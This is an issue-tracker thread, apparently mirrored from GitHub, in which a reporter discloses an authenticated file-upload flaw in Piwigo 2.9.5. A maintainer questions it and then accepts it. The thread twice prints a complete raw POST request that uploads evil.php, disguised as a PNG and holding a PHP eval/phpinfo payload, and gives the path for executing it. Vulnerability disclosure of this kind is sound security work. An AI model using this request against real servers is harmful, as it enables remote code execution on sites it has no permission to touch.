piwigo-2.9.5 PHP Code Execution Vulnerability #936

New Issue

Closed

opened 2026-10-05 00:24:29 +02:00 by adam · 6 comments

adam commented 2026-10-05 00:24:29 +02:00

Owner

Copy link

Copy source

Hi,I found a php code execution vulnerability at piwigo latest version 2.9.5
Step:

1. When login as admin, add photo as below:
   
   use "burp" to change the request :
   
   POST /Piwigo/ws.php?method=pwg.images.upload&format=json HTTP/1.1
   Host: 10.211.55.8
   User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
   Accept: /
   Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
   Accept-Encoding: gzip, deflate
   Content-Type: multipart/form-data; boundary=---------------------------162272654122640882111580551
   Content-Length: 938
   Connection: close
   Referer: http://10.211.55.8/Piwigo/admin.php?page=photos_add
   Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=3qttgdqnrnql1jgtqitni2vh51; Hm_lvt_12fc28a048b3367aa46f20380b6678ff=1566047983; lang=gb; __atuvc=2%7C34; cms.locale=en; ip_session=k390r5v8ev6gu538v5km3dg52n6ba914

-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="name"

evil.php
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="chunk"

0
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="chunks"

1
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="category"

1
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="level"

0
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="pwg_token"

94240d512ee6c3e37373340e82002982
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="file"; filename="horse.png"
Content-Type: image/png

<?php eval(phpinfo()); ?>

-----------------------------162272654122640882111580551--

the "evil.php" can be upload at "piwigo\upload\buffer\evil.php"
2. visit the evil file via http://10.211.55.8/Piwigo/upload/buffer/evil.php

Hi,I found a php code execution vulnerability at piwigo latest version 2.9.5 Step: 1. When login as admin, add photo as below:  use "burp" to change the request :  POST /Piwigo/ws.php?method=pwg.images.upload&format=json HTTP/1.1 Host: 10.211.55.8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------162272654122640882111580551 Content-Length: 938 Connection: close Referer: http://10.211.55.8/Piwigo/admin.php?page=photos_add Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=3qttgdqnrnql1jgtqitni2vh51; Hm_lvt_12fc28a048b3367aa46f20380b6678ff=1566047983; lang=gb; __atuvc=2%7C34; cms.locale=en; ip_session=k390r5v8ev6gu538v5km3dg52n6ba914 -----------------------------162272654122640882111580551 Content-Disposition: form-data; name="name" evil.php -----------------------------162272654122640882111580551 Content-Disposition: form-data; name="chunk" 0 -----------------------------162272654122640882111580551 Content-Disposition: form-data; name="chunks" 1 -----------------------------162272654122640882111580551 Content-Disposition: form-data; name="category" 1 -----------------------------162272654122640882111580551 Content-Disposition: form-data; name="level" 0 -----------------------------162272654122640882111580551 Content-Disposition: form-data; name="pwg_token" 94240d512ee6c3e37373340e82002982 -----------------------------162272654122640882111580551 Content-Disposition: form-data; name="file"; filename="horse.png" Content-Type: image/png <?php eval(phpinfo()); ?> -----------------------------162272654122640882111580551-- the "evil.php" can be upload at "piwigo\upload\buffer\evil.php" 2. visit the evil file via http://10.211.55.8/Piwigo/upload/buffer/evil.php  <!-- github-sync-id:491993826 -->

adam closed this issue 2026-10-05 00:24:29 +02:00

adam commented 2026-10-05 00:24:30 +02:00

Author

Owner

Copy link

Copy source

Are you sure this is not because $conf['upload_form_all_types'] has been enabled? On a default Piwigo 2.9.5 install I get no PHP file upload allowed.

Are you sure this is not because $conf['upload_form_all_types'] has been enabled? On a default Piwigo 2.9.5 install I get no PHP file upload allowed. <!-- github-comment-id:530799709 -->

adam commented 2026-10-05 00:24:31 +02:00

Author

Owner

Copy link

Copy source

Yes ,I have uploaded the evil php file and can access it.You can send the post request with what I submit.Change the cookie as yours.
POST /Piwigo/ws.php?method=pwg.images.upload&format=json HTTP/1.1
Host: 10.211.55.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------162272654122640882111580551
Content-Length: 938
Connection: close
Referer: http://10.211.55.8/Piwigo/admin.php?page=photos_add
Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=3qttgdqnrnql1jgtqitni2vh51; Hm_lvt_12fc28a048b3367aa46f20380b6678ff=1566047983; lang=gb; __atuvc=2%7C34; cms.locale=en; ip_session=k390r5v8ev6gu538v5km3dg52n6ba914
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="name"

evil.php
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="chunk"

0
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="chunks"

1
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="category"

1
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="level"

0
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="pwg_token"

94240d512ee6c3e37373340e82002982
-----------------------------162272654122640882111580551
Content-Disposition: form-data; name="file"; filename="horse.png"
Content-Type: image/png

-----------------------------162272654122640882111580551--

the "evil.php" can be upload at "piwigo\upload\buffer\evil.php"

Yes ,I have uploaded the evil php file and can access it.You can send the post request with what I submit.Change the cookie as yours. POST /Piwigo/ws.php?method=pwg.images.upload&format=json HTTP/1.1 Host: 10.211.55.8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------162272654122640882111580551 Content-Length: 938 Connection: close Referer: http://10.211.55.8/Piwigo/admin.php?page=photos_add Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=3qttgdqnrnql1jgtqitni2vh51; Hm_lvt_12fc28a048b3367aa46f20380b6678ff=1566047983; lang=gb; __atuvc=2%7C34; cms.locale=en; ip_session=k390r5v8ev6gu538v5km3dg52n6ba914 -----------------------------162272654122640882111580551 Content-Disposition: form-data; name="name" evil.php -----------------------------162272654122640882111580551 Content-Disposition: form-data; name="chunk" 0 -----------------------------162272654122640882111580551 Content-Disposition: form-data; name="chunks" 1 -----------------------------162272654122640882111580551 Content-Disposition: form-data; name="category" 1 -----------------------------162272654122640882111580551 Content-Disposition: form-data; name="level" 0 -----------------------------162272654122640882111580551 Content-Disposition: form-data; name="pwg_token" 94240d512ee6c3e37373340e82002982 -----------------------------162272654122640882111580551 Content-Disposition: form-data; name="file"; filename="horse.png" Content-Type: image/png -----------------------------162272654122640882111580551-- the "evil.php" can be upload at "piwigo\upload\buffer\evil.php" <!-- github-comment-id:531642483 -->

adam commented 2026-10-05 00:24:32 +02:00

Author

Owner

Copy link

Copy source

Hi,

Can you pls upload your Piwigo config file? Make sure to remove any sensitive information first.

I ask because I am wondering if $conf['upload_form_all_types'] has been set to allow php file types to be uploaded.

Hi, Can you pls upload your Piwigo config file? Make sure to remove any sensitive information first. I ask because I am wondering if $conf['upload_form_all_types'] has been set to allow php file types to be uploaded. <!-- github-comment-id:531767568 -->

adam commented 2026-10-05 00:24:33 +02:00

Author

Owner

Copy link

Copy source

config_default.inc.php.zip
Is this file "config_default.inc.php" what you want?
And you can represent this vulnerability by post request as what I submit:

poc.txt
the "evil.php" can be upload at "piwigo\upload\buffer\evil.php"

[config_default.inc.php.zip](https://github.com/Piwigo/Piwigo/files/3618901/config_default.inc.php.zip) Is this file "config_default.inc.php" what you want? And you can represent this vulnerability by post request as what I submit:  [poc.txt](https://github.com/Piwigo/Piwigo/files/3618917/poc.txt) the "evil.php" can be upload at "piwigo\upload\buffer\evil.php" <!-- github-comment-id:532027207 -->

adam commented 2026-10-05 00:24:33 +02:00

Author

Owner

Copy link

Copy source

yes,but the php file has been uploaded to "piwigo/upload/buffer/evil.php" ,or you can visit the url:http://x.x.x.x/piwigo/upload/buffer/evil.php

yes,but the php file has been uploaded to "piwigo/upload/buffer/evil.php" ,or you can visit the url:http://x.x.x.x/piwigo/upload/buffer/evil.php <!-- github-comment-id:532034905 -->

adam commented 2026-10-05 00:24:34 +02:00

Author

Owner

Copy link

Copy source

I see what you mean now. You are correct. This is definitely PHP code execution.

I see what you mean now. You are correct. This is definitely PHP code execution. <!-- github-comment-id:532037917 -->

Sign in to join this conversation.

No Branch/Tag Specified

Branches Tags

master

issue-2560-people

translation

16.x

feat/embedding-based-contextual-tagging

issue-2576-search-include-ai-in-search-results

feat/search-ocr-ai

issue-2391-update-menu-design

15.x

detect-container

issue-2386-update-filters-users-activity

issue-2362-add-filters-options-in-admin

issue-2367-imagemagick7

issue-2225-quicksearch-help

14.x

issue-2164-BatchManagerUnitMode-Redesign

13.x

12.x

issue-1657-SVG_Support

issue-1703-historySearchMethod

11.x

2.10

2.9

2.8

2.7

2.5

2.6

2.4

2.3

2.2

2.1

2.0

1.7

1.3

1.6

1.5

1.4

16.4.0

16.3.0

16.2.0

16.1.0

16.0.0

16.0.0RC3

16.0.0RC2

15.7.0

16.0.0RC1

16.0.0beta1

16.0.0beta2

15.6.0

15.5.0

15.4.0

15.3.0

15.2.0

15.1.0

15.0.0

15.0.0beta3

15.0.0beta2

15.0.0beta1

14.5.0

14.4.0

14.3.0

14.2.0

14.1.0

14.0.0

14.0.0RC2

14.0.0RC1

14.0.0beta3

14.0.0beta2

13.8.0

14.0.0beta1

13.7.0

13.6.0

13.5.0

13.4.0

13.3.0

13.2.0

13.1.0

13.0.0

13.0.0RC4

13.0.0RC3

13.0.0RC2

13.0.0RC1

12.3.0

13.0.0beta2

13.0.0beta1

12.2.0

12.1.0

12.0.0

12.0.0RC2

12.0.0RC1

12.0.0beta2

12.0.0beta1

11.5.0

11.4.0

11.3.0

11.2.0

11.1.0

11.0.0

11.0.0beta5

2.11.0beta4

2.11.0beta3

2.11.0beta2

2.11.0beta1

2.10.2

2.10.1

2.10.0

2.10.0RC1

2.10.0beta2

2.10.0beta1

2.9.5

2.9.4

2.9.3

2.9.2

2.9.1

2.9.0

2.9.0RC2

2.9.0RC1

2.9.0beta2

2.8.6

2.8.5

2.8.4

2.9.0beta1

2.8.3

2.8.2

2.8.1

2.8.0

2.8.0RC2

2.8.0RC1

2.7.4

2.7.3

2.6.5

2.5.6

2.5.5

2.6.4

2.7.2

2.7.1

2.7.0

2.7.0RC2

2.7.0RC1

2.7.0beta2

2.6.3

2.7.0beta1

2.6.2

2.5.4

2.6.1

2.6.0

2.6.0RC2

2.6.0RC1

2.6.0beta2

2.5.3

2.5.2

2.6.0beta1

2.5.1

2.5.0

2.5.0RC2

2.4.7

2.5.0RC1

2.4.6

2.5.0beta3

2.5.0beta2

2.5.0beta1

2.4.5

2.4.4

2.4.3

2.4.2

2.4.1

2.4.0

2.3.5

2.4.0RC3

2.3.4

2.4.0RC2

2.4.0RC1

2.3.3

2.4.0beta2

2.4.0beta1

2.3.2

2.3.1

2.3.0

2.3.0RC2

2.3.0RC1

2.2.5

2.3.0beta3

2.2.4

2.3.0beta2

2.2.3

2.2.2

2.3.0beta1

2.2.1

2.2.0

2.2.0RC4

2.2.0RC3

2.2.0RC2

2.1.6

2.2.0RC1

2.1.5

2.1.4

2.1.3

2.1.2

2.1.1

2.1.0

2.0.10

2.1.0RC3

2.1.0RC2

2.1.0RC1

2.0.9

2.0.8

2.0.7

2.0.6

2.0.5

2.0.4

2.0.3

2.0.2

2.0.1

2.0.0

2.0.0RC4

1.7.3

2.0.0RC3

2.0.0RC2

2.0.0RC1

1.7.2

1.7.1

1.7.0

1.7.0RC2

1.7.0RC1

1.6.2

1.6.1

1.6.0

1.6.0RC2

1.6.0RC1

1.5.2

1.5.1

1.5.0

1.5.0RC2

1.5.0RC1

1.4.1

1.4.0

1.4.0RC3

1.4.0RC2

1.3.4

1.4.0RC1

1.3.3

1.3.2

1.3.1

1.3.0

1.3.0RC2

1.3.0RC1

Labels

No items

No labels

Milestone

No items

No Milestone

Projects

Clear projects

No projects

Assignees

Clear assignees

adam (Adam Wojcieszonek)

No Assignees

1 Participants

Notifications

Subscribe

Due Date

No due date set.

Dependencies

No dependencies set.

Reference: adam/Piwigo#936